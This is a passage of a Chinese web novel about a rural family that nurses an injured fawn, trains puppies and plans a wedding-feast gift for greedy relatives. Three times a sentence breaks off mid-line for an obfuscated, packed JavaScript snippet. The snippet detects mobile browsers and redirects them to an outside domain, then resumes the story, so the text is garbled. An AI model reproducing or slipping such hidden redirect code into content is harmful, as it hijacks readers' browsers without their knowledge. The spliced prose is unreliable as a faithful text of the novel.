先前为了给他看病,家里剩的一头年猪和刚买的两头小猪崽都又卖了出去,这个时节猪仔都卖得差不多了,还不知什么时候收的到,沅宁就提议在家里养点鸡鸭或者兔子,之后也能常吃上肉。 鸡的话家里还有一只母鸡没卖,被大嫂喂得极好,每天都会下一个蛋,这时间沅宁生病,家里的鸡蛋都紧着他一个人吃,也正打算等手头松点买几只小鸡仔回来养。 至于鸭子,沅令舟说溪边荡子里都是,到时候捡几个蛋回来就能孵,还省了买鸭苗的钱。 左右都要孵蛋,不如到时候看看村里谁家有不下蛋的母鸡,便宜买回来孵鸡蛋鸭蛋,倒是比买苗子要省些,孵完还能炖了家里吃着补补。 母鸡和那些鸭啊鹅的不同,只要是给它几枚蛋,也不管是不是自己的,它都会有耐心地慢慢孵。野鸭野鹅就没那么好的脾气,田间溪边下了蛋都不记得。 因此那些家里养了鸭和鹅的,出去放的时候都会看好了,只在自家田里放,免得蛋下在别人田里,又是一顿扯皮。 沅宁之前只是在叫他哥打猎的时候,如果碰上兔子,可以捉两只活的回来养,又顺嘴提了一句,沅令舟就记在了心上,专门去荡子里找野鸭蛋,节约的几个钱让家里给他买几颗糖,免得天天吃药苦了嘴。 他们家被沅宁日日不动声色地管着,吃的虽然好了,也确实拿不出多的钱来买苗子,鸡鸭得养三四个月才能有点肉吃,兔子要更久一些,到时候正好天气寒冷了,不仅有兔肉吃,皮子还能做成手套围脖保暖,这时间养起来刚刚好。 可山里面的动物都精得很,哪里是沅宁想要就能得到的,就算沅令舟打猎的本事再高超,也很难在不伤着兔子的情况下恰好猎到一公一母,只能细心着找到兔子窝,捡个一两只走,还得留下大半免得绝户。 沅宁都做好了今年或许养不了兔子的准备,他是更倾向于从幼崽开始家养的,毕竟家里人送东西出去已经形成了习惯,大兔子养家里要是被过来串门的大伯娘看到,恐怕没几天就要抱去,还不如养没二两肉的小兔崽,等养大了再想来抱,家里人早就改掉送东西养白眼狼的习惯了。 没想到二哥这才进山几天,就真捉到兔子提前下来了,应该是没怎么打猎,就记着给他捉兔子去,背篓里都安安静静,也没别的野物发出的动静。 他眼中带着笑意,看着沅令舟嘀嘀咕咕把蛋又揣回怀里去,这才伸出两只手捧着:“我的兔子呢。” “就你机灵,万一我没捉着兔子呢?”沅令舟说着,把背篓放到沅宁面前,一屁股坐到矮凳子上,手却按着背篓上的油布没松开。 “我智勇双全的二哥,区区几只兔子根本不在话下,怎么可能空手回来呢,是吧?” 沅令舟被他夸得舒服:“嗯!说的不错,再夸几句。” 沅宁被他哥逗得直乐:“二哥才气无双肝胆过人,英姿飒爽如狼似虎——” “等等等等?如狼似虎?你以为我听不出你偷着骂我呢!”沅令舟反应也快,都不等沅宁揶揄他第二个词儿,就听出来他故意调侃,又把大家逗得一通笑。 就这调皮劲儿,也能看出来沅宁身体是恢复了许多,还有力气开玩笑了,家里人高兴有欣慰。 沅令舟往沅宁额头上又摁了一下,这才揭开油布。 他力气大,用的背篓也大,有时候山里打着了大点儿的野物,都会用背篓趁着活物没咽气儿,拿去县里卖掉,价格比死掉的要高一些。 这背篓都能把个头小一些的哥儿姑娘给装进去,掀开来油布,就能看见里面团着的东西。 一头受了伤的小鹿蔫儿嗒嗒地蜷在背篓里,身上还压着几团呼呼大睡拱在一起的灰扑扑小兔崽,一背篓的毛茸茸,简直看得人心都要化了。 “二哥你竟然猎到了一头鹿!”沅宁也有些惊讶,忍不住伸手想要摸一摸那格外乖顺的小家伙。 沅令舟把他的手给抓着拿开:“你小心些,这鹿我没养两天,万一伤着你怎么办。” 沅宁一别嘴,但也没多说什么。 “倒不是我想猎这么小的鹿崽子,这家伙自己掉到陷阱里面,腿又伤到了,本来说拿回去伤养好就放了,结果喂什么都不吃,伤口还生虫了。” 虽然身为猎户,但大多数猎人都很有准则的,知道不能涸泽而渔的道理,猎到太小的幼崽,或者揣着肚子的,大多都会被他们放走。 沅宁扒拉在背篓边缘,看着那只小梅花鹿有点可怜,想摸又不能摸,最后他哥实在看不下去,把睡得都快翻肚皮的小兔子提溜起来,放到他手里给他玩。 毛茸茸的小兔子比巴掌大不了多少,两只手就能捧起来,像是捧了一朵天上的乌云,还暖烘烘的。大概是被沅令舟养了几天的缘故,小兔子一点儿都不怕人,耸动着鼻子在沅宁的手掌心闻来闻去。 小侄儿也很少见这么小的兔子,两只手撑在沅宁的膝盖上,踮着脚尖往他手心瞧。 沅宁把兔子递给小侄儿玩,又看了一眼那背篓里的小鹿,用随手摘的青草在小鹿嘴巴前晃悠着逗弄:“二哥,你知道这小鹿吃什么吗?” “野草野果子,树叶也吃,基本上不挑食,好养 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16126751|180090||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 活得很。”沅令舟对于动物的生活习性非常了解,“但这么大点儿的鹿,卖不出价钱,想养大可得养好几年。” “嗯。”沅宁点点头,“吃肉的话确实卖不起价格。” 沅宁打量着小鹿身上团团白色花纹,因为个头还小,毛都还没成年后那么扎实,摸上去手感应该会很不错。 “去岁跟着进城里过年,看到一些大宅出来的小姐哥儿,出门逛街都还抱着狸奴,还有养狗儿的,不像咱们农户家用来看家护院,那吃食比丫鬟小厮都好。”沅宁逗着背篓里的小鹿,慢条斯理地说。 “当时还听人炫耀,那狗儿有什么血统,花了六两银子才买来。” “六两!”不说一辈子面朝黄土耕耘为生的沅承显两父子,就连时常去城里卖野物的二哥沅令舟都有些惊讶。 “六两都够买一头成鹿了。” “是呀。”沅宁笑了笑,“不过是那狗儿生得乖,又会做几个讨巧的动作,就能卖这么高的价格,还有人想买都买不到。” 他用手指轻轻敲了敲背篓的边缘:“我瞧着这小鹿性子温顺,长得也比那满脸堆着肉的狗儿可爱,正巧二哥你也会训狗,为什么不试试训一训这小家伙,让它也会些简单的口令,到时候怕是城里那些公子哥儿都会抢着要。” 沅宁的话让一大家子人都陷入了沉思,真的有人会花一大笔钱,来买连肉都没有的小鹿回去吗? 沅宁晃着手里的草杆去扫背篓里小鹿的耳朵,小家伙温顺得很,耳朵被扫得痒痒的,就一直在抖耳朵,毛茸茸的模样更加惹人怜爱了。 “呦呦鹿鸣,食野之苹。实在不行也可以拿去书院门口卖,大多读书人手里头都不算太拮据,会愿意花上一番价格讨个好彩头的。” 众人对着沅宁的话一琢磨,感觉还真是有点心动。 “我去叫三弟回来看看。”沅宁的大哥眼里有活儿,当即就起身出门叫人。 二哥沅令舟也摸着下巴,看着背篓里的小鹿沉思:“虽然没训过鹿,但也不是不可以试试,只不过要教些什么呢?” 沅令舟的声音将方衍年从思绪中打断,他开口道:“我倒是知晓一些门道,虽然不会训犬,但知道一般将狗当宠物养的,都会教些什么。” “见过宠儿子女子哥儿的,还没见过宠动物的。”沅令舟一边说一边摇头,大手在方衍年肩膀上用力拍了两下,“还是方童生见识广。” “宠、物……”沅宁也琢磨着宠物两个字,倒是越琢磨越觉得恰如其分。 方衍年擦了擦额角不存在的汗,笑容显得几分僵硬,一不小心说错了话,还好没被追根究底。心虚让他忘记了刚才沅宝儿的一番话给他带来的震惊。 那般不谙世事的小哥儿,竟然只是进城玩耍一番,便能通过所见所闻,悟出“包装”的真谛。 他们家宝儿也太聪明了吧! 10. 训狗 包装,本意是指将物品封装包裹,或者盛装物品的材料,但随着商业的不断发展成熟,包装也引申出了新的意义。 两件商品,在相同质量的情况下,相比起随意包裹的简装,精美装点的商品卖出的价格会更高,若是再加上品牌效应,或许能卖出几百上千的价格,发挥出一加一远大于一的惊人效果。 除了商品,后世在形容人、文章,都渐渐用上了包装这个词,小到穿衣装饰,大到娱乐圈立人设,或者名媛培训班,都是一种对人的包装。 对文学作品的包装就更多了,例如利用广告宣传,将一些原本狗屁不通的玩意儿裱上花,依旧能够收获大肆的吹捧,若是有人提出怀疑,还会被攻击说是吃不来细糠。 包装在后世作用相当广泛,但在这个饭都吃不饱的年代,注重包装的人就只剩极少数了。 比如王公贵族,就很喜欢为一些华而不实的玩意儿一掷千金,其实买回去也没什么用,在库房里放烂了都不记得自己曾经买过,但就是有商户能通过包装让有钱人来买单。 方衍年也没想到,在这样时代背景下生活的小哥儿,竟然拥有如此敏锐的商业神经。 一头幼年的梅花鹿,在猎户眼中并不值什么钱,即使时下鹿肉算得上有钱人家才吃得起的美味佳肴,但鹿对于他们来说就和猪、羊一样,终究只有宰杀吃肉这个途径。 毕竟鹿不像牛或者马,纤细的四条腿扛不了什么重物,耐力也不是很好,根本不适合当劳力,也就鹿肉比较有营养,再加上饲养成本高—— 肉猪只需要不到一年就能出栏,鹿却要养三四年才能彻底成熟,与之相对的,一头整猪约摸能卖一两二钱的银子,一头雄鹿却能卖六两,雌鹿五两左右,基本上都是市场约定俗成的价格。 像是幼鹿,肉又少,养还养得久,不论是买卖还是饲养,都没人乐意掺和,如同鸡肋一般,食之无味,弃之可惜。 但如果把幼鹿给包装成宠物,那就不一样了。 众所周知,乡下人有的会养土狗在院子里,看家护院,这种狗儿大都是贱养,给口吃的就能养活。这样的狗也卖不出价,就算是有钱的城里人都不会花钱买,都是谁家狗下了崽,随便提几个鸡蛋,意思意思就能抱走。 这个时代的猫猫狗狗对大多数人来说不值钱,可对于有钱人来说,一个能通人性,长得还好看能拿出来逗趣的玩意儿,可就舍得往它身上花钱。 尤其这个东西还不是随处可见的小猫小狗,品种这种东西,还没在这个时代流行。 但一头鹿那就不同了,如果也能像小猫小狗一样讨人喜欢,带出去都不用开口就能有人围上来看稀奇,那多有面子啊! 何况梅花鹿温驯,这又是头母鹿,即使成年后体型也不大,但凡有条件养的、乐意养宠物的,应该都不排斥养上这么一只。 尤其沅宝儿还有最后一条退路—— 卖给读书人。 这点子简直妙极了! 这个时代在乡试放榜次日,会有官方主持举子们参加鹿鸣宴。取自沅宝儿所说的诗经里那句“呦呦鹿鸣,食野之苹”,鹿在找到食物之后会发出呦呦之声,呼唤同伴过来进食,读书人认为这是一种美好的品德。 考上举人那就意味着要做官,举办鹿鸣宴也是一种对举子们的提点,不要忘记同窗情谊。 想象一个读书人,尤其是还没有中举的读书人,谁能顶得住这般诱惑,牵上一头象征着中举的鹿子讨个好彩头。 这跟后世高考,文具店里面印着金榜题名的笔和橡皮卖得最好是一个道理,都是一种包装。 能让一件大众认知里卖不出去的东西叫上价格,可不是随便来个人都能有的本事。 方衍年看沅宝儿的眼神都像在看宝贝,可不是么,宝儿真是人如其名,是他们家冰雪聪明的小元宝。 沅令舟对于方衍年说的有钱人家怎么训宠物狗的很感兴趣,方衍年也不吝啬,说了几样最常见的,例如起立坐下,抬手换手,听口令原地转圈、趴下,拜年之类的简单动作。 一大家子人正听方衍年形容听得有趣,沅令川就把沅令舒给叫回来了。 小鹿伤着的是后腿,如今天气热,在山里没几天伤口就腐坏生出了虫,大哥按着小鹿,三哥用刀把腐肉给割下来,二哥在一旁摸着下巴琢磨了半天,开口。 “宝儿,有空我去抱条狗回来,跟着鹿子一起训,训好了也留在家里陪你玩儿,怎么样?” 沅宁一听脸上就挂了笑:“好呀,我想要一条小白狗。” 刚来的三哥沅令舒在路上也听他大哥提了一嘴,虽然不太跟得上话题,却也没反对泼冷水,一边往小鹿腿上的伤口撒药粉,一边说:“想抱狗儿的话,隔壁村李老三家里养的狗才下了崽,但不是狼狗,说是松毛狗,长得大吃得多,送都送不出去。” “啊,我见过那个,毛茸茸的好大一只,但性子好,还冲我摇尾巴呢!” 家里人正想劝沅宁别养这么大的狗儿,那松毛狗养得好的能养得有熊那么大,站起来快有人高,万一伤着宝儿怎么办? 但看着沅宁那么喜欢的样子,一时间话又堵回了嘴里。 “没事,喜欢哥就去给你抱,反正都是要训的,要是太野性就留在山里陪大狼,松毛狗有力气,帮我捕猎也是不错的。” “好耶!”沅宁高兴得鼓起了掌。 一家人正在院子里说着话,就有人提着篮子上了门,仔细一看,竟然是村里的张屠户。 说来这张屠户家里跟沅家也很熟,毕竟沅宁的身子差,得吃肉才跟得上营养,去县城麻烦,张屠户有时候杀了猪,会留个半刀一刀偏瘦的肉挂家里,沅家人带东西过去换就行。 今天张屠户主动上门,手里拎着一吊上好的瘦肉,身后跟着肉乎乎的一团黄白色的身影,定睛一看,不是沅家人正说着的松毛犬是什么? “张屠户,你家也去李老三那抱狗去了?”众人将张屠户招呼进门,也没急着去接那吊肉,看着能有两三斤,实在是……买不起。 “欸!二娃也回来了,正说有事找你。”张屠户将手里那吊肉往姜氏手里面递,姜氏也不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16126752|180090||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好接,还推拒了一番。 “咱们乡里乡亲的,作甚这么客气,这不是有事找二娃么。”张屠户是个性子豪爽的,硬把肉塞进了姜氏手里,才开口。 “说了也不怕你们笑话,实在是,唉……”张屠户在院子里坐下,刚开口又叹了口气,这才解释了事情的缘由。 前段时间张屠户伤了腰,看病还是找沅令舒看的,当时因为沅令舒多交代了几句,家里的小哥儿就坚决不让他带着伤接活儿。 沅令舒当然也是看在两家人的交情上,才多开了句口,张屠户多年杀猪宰羊的,腰上又有陈年旧伤,若是继续这么下去,恐怕吃不了几年手艺饭。 当时张屠户都还有些惊讶,他那腰伤还是年轻时候不懂事摔的,后面也没什么问题,连乡医都没看出来,沅令舒给他推拿的时候不仅顺带给他正了骨,还交代了他腰上的问题,张屠户很是感激,之后还给沅家送过两次肉来。 张屠户将沅令舒的话听进去了,他老婆在生下小哥儿不久就去了,独自一人把孩子拉扯大,也没续弦,如今孩子大了,前两年就到谈婚论嫁的年纪,却一直说不到人家。这次张屠户受了伤,他就起了收徒弟的心思。 屠户可是门吃香的手艺,每次去农户家杀猪,不仅能得几十文杀猪钱,还能提走一刀肉,尤其年节的时候,稍微勤快点,能攒下足够一年吃的腊肉和几两银子。 因此这门手艺基本上不会轻易传出去,要是会的人多了,几个村子拢共就养那些猪,可是要饿死师傅的。 张屠户想收个徒弟,前提是得娶他们家哥儿,结果徒弟没收着,他们家哥儿倒是提着刀去替他杀猪去了,也不知道什么时候偷偷学会的,竟然不比他这个当爹的手艺差! 张屠户哪里愿意自家小哥儿干杀猪的活,偏偏他那时候有腰伤,竟然被小哥儿给绑了锁在了家里! 沅家人听到这一段的时候,每个人都装作很忙的样子,把头别到一边,才没当着人面笑出声。 这当小哥儿的竟然把老子给捆了,张屠户也敢往外说。 看来张屠户是真打算让小哥儿继承手艺,彻底放弃找儿婿的想法了。 也好,左右是门能赚钱的手艺,还能把自己饿死不成。 但小哥儿毕竟是个哥儿,今后真继承了手艺,免不了要去别人家里杀猪,张屠户就牵了条狗回来,想让沅令舟当成猎犬训。 寻常训狗,不过看家护院,也有人来找沅令舟训的,提一篮子鸡蛋或者半刀子肉,只要是宝儿能用的上的,都可以。 但训猎犬不同,要教的比较多,还得练出些野性来,见着刀或者个头大的不会怂,才是好狗。 花的心思多,张屠夫还特意提这么大一块肉来,想沅令舟能上上心。 沅令舟本来不是很想接这活儿,他又要训鹿,又要给宝儿训狗,还得打猎,实在抽不开身。 不等他推拒,就听见宝儿拉着他娘的衣服开口了:“阿娘,我明天想吃油炸小酥肉。” 沅令舟:“……” 算了,肉都吃了,就一起训吧! 11. 小狗飞扑 刚出生一个月的小狗,才断奶,已经长得毛茸茸一团,粉嘟嘟的舌头哼哧哼哧兜在嘴筒子里,摇着那埋进绒毛指头大的小尾巴,跟着人跑时扭来扭去的,像一颗长了毛的小土豆。 小家伙的腿还很短,扑腾起来没矮凳高,但特别活泼,见到人都要去嗅一嗅,被摸了脑袋之后高兴得龇着个没长齐的奶牙直乐,简直可爱极了。 沅宁连对那灰扑扑的小兔崽都没兴趣了,用一根手指头就能哄得小家伙追着跑,只不过他皮肤嫩,别人被小狗扑一下也没什么反应,毕竟才一个月的奶狗,爪子上的指甲都细细的,却是不小心就把沅宁的手指给挠出了好几个红痕,得亏没破皮。 然后狗就被他二哥给拎走了。 沅宁很是不服气,小家伙又没真把他挠伤,那点红印子要不了一盏茶的时间就消了,干嘛那么小气嘛。 他在那儿气鼓鼓得把脸鼓成包子,姜氏打来干净的水给他洗净手,又检查了好一番,确定油皮都没有破,才没叫沅令舒给他上药。 不过沅宁这点子气很快就被其他事情所吸引,沅令舒把小鹿的伤口治好之后,小家伙都疼得没了力气。 也不知道是饿了几天没力气,还是知道人类是在救治它,小鹿被剜肉之前先拿酒冲了冲,疼得直抽搐,也没有拼命挣扎,只倒在地上默默流眼泪,实在疼了才咩咩叫几声,像是小孩子的哭声一样,听着怪让人心疼的。 大哥说是把鹿按着防止挣扎,却也没用多少力,不多会儿在小家伙乖顺的配合下,伤口就被妥善处理好了,用绷带绑起来后,沅令舒又给小家伙喂了些水,还被小鹿用脑袋蹭了蹭手心。 一家人直呼这小鹿聪明,就连一旁看热闹的张屠户都有些稀奇。 “这么点儿大的鹿,是要养还是要卖?” “养养看,卖不出去就放了。”沅令舒也没说太详细,八字都没一撇呢,解释那么多也没用。 倒是沅令舟,将狗子拎走之后就拔了根狗尾巴草,顺手训练起小家伙的扑咬能力。 先是用狗尾巴草吸引小东西的注意力,然后大幅度晃动狗尾草,让小狗跟着左右跑,之后加快速度,等幅度够大,速度够快,小狗追不上的时候,就会自然而然跳起飞扑过去。 小狗第一次飞扑成功,就得夸奖一声,然后喂点吃的,反复几次,不仅能够让小狗学会扑物,还能让它熟悉口令。 不过一小会儿的功夫,小家伙就完全学会了听口令扑东西的动作,而且是指着哪里扑哪里,即使那里没有狗尾草。 “还挺聪明,可以训得出来。” 别看这个过程简单,每条狗的性格不同,智商也有高低之分,还得多观察,根据实际情况进行调整,可不是随便一个人就能调教得出来的。 张屠户跟在旁边看了会儿,觉得十分满意,又是好一通感谢,最后也没留下来吃晚饭,说是要回家问问自家小哥儿给狗子起了个什么名字,这些事情都要从小教的。 傍晚,姜氏去做饭,大哥沅令川就去把本就干净的猪圈给重新拾捣了一番,在沅令舟带回来的柴火里面找几根看得过去的,简单在猪圈里围了一圈地,铺上干草,用来养那几只小兔崽子,另一边就将小鹿栓在里面,左右猪圈也是空着,牲畜养在这边,不会到处乱拉,免得臭到他们家的宝儿。 猪圈分区做好之后,沅令舟又额外圈了一小块地方出来,将小动物们都关进去,得拉了才放出来,长此以往,小动物就形成了定点排泄的习惯,不会拉得到处都是,打扫也更轻松。 村里人大多都不讲究这些,谁家没养点鸡鸭鹅的,往往粪便拉得到处都是,养得多了,每天都得扫两遍,否则人都没个下脚的地方。 但因为家里面有沅令舟,养的小动物倒是都被训得服服帖帖,控制不住排泄的鸡鸭都不会从大院过,单独圈在棚子里,因此沅家的院子虽然是土夯的,不方便冲水清理,也依旧干干净净,没有任何臭味。 沅家虽穷,墙壁漏风碗也豁口,但目之所及的一切都干干净净,就连搭屋子的草棚,都会经常更换上面的干草,不至于草棚发霉结网,可以看得出是勤劳的人家。 因着大房那边后天就要办席面,沅令舟回趟山里也赶,索性在家中住下,今天晚上沅家人竟然全部都在。 以往沅令舟要住山里,就算打着猎物,也走另一条路去县城卖,十天半个月才回家一趟。而沅令舒时常要跟着乡医出门,那边也管饭,所以隔三差五才晚上回来住一回,一旬回家来休息一天。 今儿个不仅两兄弟都在家,还正巧碰上方衍年过来,晚上饭桌上都热热闹闹的。 沅宁让阿娘把张屠户拿来的肉给剁一刀下来做个肉菜,方衍年带来那些东西也都拿出来先吃掉,天气见热,不早些吃完,容易坏,后天还要去大伯家吃席呢,肉根本放不了那么久。 一家人都觉得沅宁说得有道理,于是不用等明天,当天晚上沅宁就吃上了小酥肉。 姜氏做小酥肉很有一手,普通农家人的做法把肉切条,厚厚裹上面糊,炸出来老大一块儿,油汪汪的很是唬人。 但沅宁吃不得重油的东西,所以炸肉得用纯瘦肉,切成手指稍细的一条,将花椒给碾碎之后抓拌进肉里,不仅可以去腥,那花椒的椒香也能更加和肉融合,不像那些普通的炸酥肉直接把整颗的花椒放面糊里,炸出来的酥肉总要咬到整粒儿的花椒,半张嘴都发麻,好一会儿都再尝不出味道,吃着反而没那么香了。 不过那样的做法很适合下酒,爱吃酒的人口要重些,反而觉得嚼着酥肉里的花椒喷香。 沅家倒是没什么人喜欢喝酒,虽然沅宁他爹有一手酿酒的手艺。 主要是高粱比较便宜,种植需要的水也不多,以前家里的薄田上水比较麻烦,就种过一段时间的高粱。 高粱不止可以拿来酿酒,也是可以吃的,就是口感不好,价格也便宜,一些低价的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16126753|180090||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 杂粮里面就喜欢掺高粱。 不过当时家里种高粱的时候,两父子伺候得仔细,种出来个大丰收,家里根本吃不完,拿去卖也卖不上价格,索性就酿成了酒。 没兑过水的酒醇香浓厚,味儿又辣又冲,村里一些酒蒙子就好这一口,时常来他们家要酒喝,虽然不给钱,次数多了也不好意思,还是会提些东西来,最后换算了下,那酿酒换点东西倒是比卖高粱能买的东西多出好几倍,一家人都觉着高兴。 后来田地被伺候得肥了,渐渐也能种别的,家里就没继续种高粱了,没能继续喝上这便宜酒的村里人还有些背地里骂过,可不高兴沅家这么“小气”呢。 虽然没有酒,但姜氏做的小酥肉也足够把人给香迷糊了。 两个儿子难得出来吃饭,儿婿也拎着礼物上门,可不得吃点好的。 姜氏做的小酥肉挂糊比较薄,香味尤其浓郁,主要是她舍得下料,小麦磨得白面和玉米磨的细面各一半,打两个鸡蛋,比四个鸡蛋多一些的水,先用水把混合好的面给融开,再加入鸡蛋液调和,混合好的面糊细腻得没有一点疙瘩和气泡,炸出来更是金黄酥脆,不仅颜色好看,味道也好吃,甚至多余的面糊裹到蔬菜上炸出来,味道也一点儿不比肉味儿差。 油炸小酥肉的味道十里飘香,整个村子都能闻到,别说大房那边,就是邻居都忍不住过来看一眼,沅家二房又弄了什么好吃的,怎么能这么香。 然而看着院子里坐着这么多人,一大家子整整九口,倒也不好意思端人家的菜走。 主要是怵沅令舟,沅家二房的二儿子比大儿子要小几岁,上山当猎户之前也就是个毛都没长齐的愣头青,可现在,沅令舟在山里面待久了,整日和野兽打交道,那一身腱子肉比下地种田的农户还扎实,鼓鼓囊囊的,宽松的麻衣都裹不住,若是冬天穿身皮子,壮得跟头熊似的,比那杀猪的屠户看着都还唬人。 人们还没走进院子,就看到宽肩猿臂的沅令舟,感觉两根指头就能把寻常人拎起来丢出去,有那心虚的连招呼都不敢打扭头跑。 一家人热热闹闹吃了顿晚饭,饭后坐在院子里看天上的云被烧得火红,带着青草气息的风拂过,可是畅快极了。 闲来无事,便聊起过两日去大房那边吃席送些什么。 时下乡里摆席,一般提篮子鸡蛋就很有排面了,富庶一些的村子或者关系好的也会封铜钱,大抵一户随二三十个。 二房去的人多,九个人都去都能坐快一桌,再加上又是最亲近的兄弟,送太少面子过不去,先前沅宁又开了口,家里便打算明天去县里,花费个五十文左右,买成茶酒红糖,又包个三十文的红封,绝对上得了台面。 沅宁一听家里又要把二哥猎野物换来的钱全部拿去给大房,食指轻轻按在跑累了之后四脚朝天、躺他腿上呼呼大睡的小狗崽湿漉漉的鼻头,慢条斯理开口道。 “我倒觉得,这礼还是送薄了。” 12. 好“丰厚”的礼 沅宁细细扫过家里人的表情,有沉思有为难,却没有多少排斥,毕竟这么多年来,大房从他们家拿走的东西可不少,一家人已经习惯有什么好东西往那边送了。 只是时下实在是拿不出来,又要留一些给他养身体,这才在思考能从什么地方挤一挤。 看来这些天的生活依旧没有改变多少一家人的观念,但沅宁不急,冰冻三尺非一日之寒,他总能让家里人慢慢认清大伯家的嘴脸,学会为自己考虑。 太过激进的办法不仅会伤了两家的和气,也是在撼动父母兄长多年来形成的、根深蒂固的观念,变化总会带来痛苦,他不会让家里人余生都背负强加在身上的心结。 沅宁继续开口,轻声说道:“大伯家里又不缺烟酒茶水,咱们拿的那些,村里其他人也会送,还是该紧着大伯家里缺的东西带过去。” 沅家人一听,好像是这个道理,锦上添花虽好,到底不实用,大房那头平日里聊闲,最常说的也是吃穿用度,村里没那么多讲究,拿些日常生活中用得着的倒也过得去。 “我看二哥砍的那捆柴就不错,山里的柴没山脚的柴那么细,一捆能烧好些天,正好大伯家办席,柴也烧得多。” “宝儿说的有理,等下阿娘去理一理,毕竟是当成礼来送,码得整齐些也好看。” 沅宁很是赞同地点点头,继续说道:“大伯家最近办席那么忙,爷奶也许久没下过地了,家里还养了两头猪,恐怕也没时间打猪草,要不明日再打两捆猪草一起拿过去,省得家里的猪和鸡鸭没人喂。” 一家人觉得他们家乖宝儿真是太体贴,太善解人意了,连这些事情都能考虑周全。 “孵蛋的鸡还没借来,这两日就先把囤的鸡蛋提一篮子过去,留着给堂哥补补。”沅宁说,“大伯娘不是说最喜欢咱们地里种的菜么,比他们家吃的甜,到时候也拔几棵过去。” 家里人听到沅宁安排得这么周到,连忙说好。 “虽然去年剩下的那几块皮子花色虽不是很好看,但咱们东西提少了也不好,二哥到时候你就把那几块皮子也拿上吧。”沅宁提议。 他二哥常年在山里狩猎,但弓箭无眼,能射中野物就不错了,有时候野物挣扎被射到要害,不仅在送去县里卖掉之前就死了,剥下来的皮也卖不了几个钱,但冬天的时候可以做成衣服或者手套、帽子戴,在制不起新棉衣的时候是很好的御寒物。 夹棉的衣服虽然穿着暖和,但棉花很贵,这时候一床棉花被子都是很有排面的聘礼或者嫁妆了。可棉花用久了容易板结,不仅睡着不舒服,还又湿又冷,远不如动物的皮子耐用。 得亏沅令舟是猎户,他们家才不缺皮子用,大房那边也从他们这边拿过好几次皮子。 现在剩的那几张,都是些花色不好看,还不怎么完整的皮子,只不过他们家节俭,想着可以留下来补东西,或者做些小件的物什,才留下来压箱底,实际上并卖不出什么钱,家里遭了贼都不会偷这玩意儿。 “啊,对了,阿娘,张屠户拿来的肉咱们也吃不完,不如再宰下来半刀,留作明天吃,剩下的都腌成腊肉,后天提过去,先前大伯娘不是说堂哥想这一口了吗?” 一家人都快被沅宁感动坏了,宝儿自己都生着病呢,都还记得堂哥喜欢吃什么,一定相当把亲人给放心上吧。 “宝儿长大懂事了,阿娘真的很高兴。”姜氏说着抹了一把发红的眼睛,“但家里也不会委屈宝儿,等吃了席,阿娘再想办法去张屠户那边换些肉,一定不亏着咱们家乖宝。” “好的阿娘,都听阿娘的。”沅宁笑得乖巧,说完他又止不住露出担忧的神色,被一家人好一阵心疼,才说出忧愁的原因。 “只不过是阿娘和大嫂最近照顾我辛苦了,明日不仅要整柴,还要打猪草,宝儿实在心疼阿娘和大嫂。” 家里干活最默默无闻的两个女人都被沅宁的一段话说得红了眼眶。 “宝儿,大嫂不辛苦的,大嫂也把你当自己的亲弟弟,一家人,不用分得那么清。”女人用自己粗糙的手摸了摸沅宁的头发。 沅宁吸了吸鼻子,如同雏鸟般孺慕的神情都快把两个女人的心给看化了。 “宝儿担心这个作甚,二哥不是回来了么,还能不帮着家里的忙?” 沅令舟大大咧咧的话直接将那感动的氛围毁了个哦一干二净,沅宁看了他二哥一眼:“哥,你忘了咱们家里要重新盖房子,这两天你回来不要帮忙把地整一整?” 被沅宁这么一提醒,众人才想起来还有这么个事儿,要是不趁着这两天家里人手多搭把手,到时候沅令舟回山里去了,家里怎么腾的出手,房子盖好都不知什么时候去了。 只是事情一多起来,那就没有进城去买随礼的时间了。沅家人在这方面思维还没那么活泛,被沅宁一带,就顺着轨道走下去,分明可以过几日再慢慢弄的,可话经由沅宁一说,反而变得像是不立刻做事情就要跑掉那样急。 “大伯家跟咱们家什么关系,不会计较这些的,何况茶叶和糖平日里大伯娘也时常来拿,没必要弄这些虚的,还是猪草比较重要,猪和鸡鸭可饿不得。” 一家人也很快就被沅宁说服了,但又没完全被绕进去,既然去城里买不了,那就干脆把所有钱都包进红封里。 沅宁又开口了:“爹,娘,不好这样的,村里和大伯家关系好的又不只有咱们一户,到时候咱们送得那样多,让其他送红封的人怎么办呀?” 这话说的实在在理,送钱也有送钱的规矩,你一家送那么高,让其他人怎么办?送多了又不乐意,送少了也没面子,都是二十文表示表示就得了,大房二房是亲兄弟,送三十文可是最最亲近的了,不仅面子上过得去,也不会让其他包红封的人难堪。 